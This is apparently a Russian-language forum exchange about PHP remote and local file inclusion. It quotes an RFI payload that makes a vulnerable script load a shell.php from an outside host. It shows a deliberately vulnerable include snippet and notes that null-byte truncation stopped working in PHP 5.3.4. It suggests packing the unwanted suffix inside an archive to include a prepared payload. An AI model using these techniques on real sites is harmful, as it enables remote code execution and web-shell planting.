Сообщение от
попугай
То есть в новых версиях такое уже не работает?
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]Scr[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]php[/COLOR][COLOR="#007700"]?[/COLOR][COLOR="#0000BB"]page[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//site.com/shell.php?
[/COLOR][/COLOR]
То есть, вопросом не обрезать?
Удобнее считать, что RFI - это возможность влиять на начало строки инклуда, т.е.
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$_REQUEST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"f"[/COLOR][COLOR="#007700"]];
include[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#DD0000"].gif"[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]//RFI
[/COLOR][COLOR="#007700"]include[/COLOR][COLOR="#DD0000"]"./[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#DD0000"].gif"[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#FF8000"]//LFI
[/COLOR][/COLOR]
т.е. возможность проинклудить удаленный файл - частный случай RFI, в общем случае RFI - это возможность обратиться к подключаемому файлу,
как по имени, так и через враппер (http, ftp, php, data, file, glob и т.д.
http://php.net/manual/en/wrappers.php.php )
Имелось в виду, что начиная с PHP версии 5.3.4, обрезать хвост с помощью NULL-byte или альтернативно /././.... - не получится.
Поэтому предлагается для
локального файла не обрезать мешающий хвост строки инклуда, а сформировать его внутри архива,
тогда ошибки не происходит и нормально инклудим приготовленную начинку.